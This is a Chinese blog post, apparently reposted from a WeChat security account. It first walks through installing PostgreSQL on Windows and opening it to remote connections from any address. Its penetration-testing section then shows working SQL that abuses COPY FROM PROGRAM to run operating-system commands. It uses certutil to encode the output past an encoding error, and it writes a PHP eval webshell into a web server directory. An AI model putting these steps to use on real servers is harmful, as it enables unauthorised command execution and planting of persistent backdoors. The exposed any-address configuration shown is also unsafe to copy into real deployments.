Postgresql Journey

admin 2022年10月5日16:17:09评论56 views字数 2179阅读7分15秒阅读模式

Postgresql 安装

下载

下载地址:

https://www.enterprisedb.com/download-postgresql-binaries

Postgresql Journey
image-20221001125357060

建立数据存储文件夹

Postgresql Journey
image-20221001125513060

配置环境变量

保存为env.vbs


 1on error resume next
2set sysenv=CreateObject("WScript.Shell").Environment("system"'system environment array
3Path = CreateObject("Scripting.FileSystemObject").GetFolder(".").Path 'add variable
4sysenv("PGHOME")="C:pgsql"
5sysenv("PGHOST")="localhost"
6sysenv("Path")=sysenv("PGHOME")+"bin;"+sysenv("Path")
7sysenv("PGLIB")=sysenv("PGHOME")+"lib"
8sysenv("PGDATA")=sysenv("PGHOME")+"data"
9
10wscript.echo "PostgreSQL Success"

修改对应路径即可

初始化数据库

1initdb.exe -D C:pgsqldata -E UTF-8 --locale=chs -U postgres -W
Postgresql Journey
image-20221001125816173

注册服务

1pg_ctl register -N PostgreSQL -D C:pgsqldata

服务名称为PostgreSQL

Postgresql Journey
image-20221001125831642

Postgresql 允许远程连接

修改pg_hba.conf

添加允许访问IP,认证方式为md5

1host all all 0.0.0.0/0 md5

修改监听配置

修改 postgresql.conf文件,允许所有的链接

1listen_addresses = ‘*’ # what IP address(es) to listen on;

这两个文件都在data目录下

连接

Postgresql Journey
image-20221001130151298

渗透中遇到的问题

问题1 - 提权

1DROP TABLE IF EXISTS cmd_exec;
2CREATE TABLE cmd_exec(cmd_output text);
3COPY cmd_exec FROM PROGRAM 'dir';
4SELECT * FROM cmd_exec;

error

 1DROP TABLE IF EXISTS cmd_exec
2> OK
3> 时间: 0.004s
4CREATE TABLE cmd_exec(cmd_output text)
5> OK
6> 时间: 0.002s
7COPY cmd_exec FROM PROGRAM 'dir'
8ERROR:  invalid byte sequence for encoding "UTF8"0xc7 0xfd
9CONTEXT:  COPY cmd_exec, line 1
10
11> 时间: 0.01s

问题原因

返回的数据为中文,无法直接输出带中文的结果。

尝试方案

确定文件是否成功写入,尝试通过certutil将文件内容全部编码,然后解码进行输出。

解决方案

certuiil

通过certutil进行编码文件

1DROP TABLE IF EXISTS cmd_exec;
2CREATE TABLE cmd_exec(cmd_output text);
3COPY cmd_exec FROM PROGRAM 'certutil -encode 1.txt 3.txt';
4SELECT * FROM cmd_exec;
Postgresql Journey
image-20221001131518393

尽管报错了,但是文件已经成功被编码输出。

Postgresql Journey
image-20221001131608567

通过type进行读取

Postgresql Journey
image-20221001131722656

保存到本地,通过certutil进行还原。

Postgresql Journey
image-20221001131825083
Postgresql Journey
image-20221001132137176

写webshell

1DROP TABLE IF EXISTS cmd_exec;
2CREATE TABLE cmd_exec(cmd_output text);
3COPY cmd_exec FROM PROGRAM 'echo ^<?php eval($_POST[a]);?^> > C:phpstudy_proWWW7.php';
4SELECT * FROM cmd_exec;
Postgresql Journey
image-20221001135310275
Postgresql Journey
image-20221001135409687

触类旁通

查看当前路径

Postgresql Journey
image-20221001130403774

dir>1.txt

Postgresql Journey
image-20221001130539660

dir > 2.txt

也可成功执行

参考链接:

http://www.qb5200.com/article/308205.html


原文始发于微信公众号(Right or wr0ng):Postgresql Journey

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月5日16:17:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Postgresql Journeyhttp://cn-sec.com/archives/1329072.html

发表评论

匿名网友 填写信息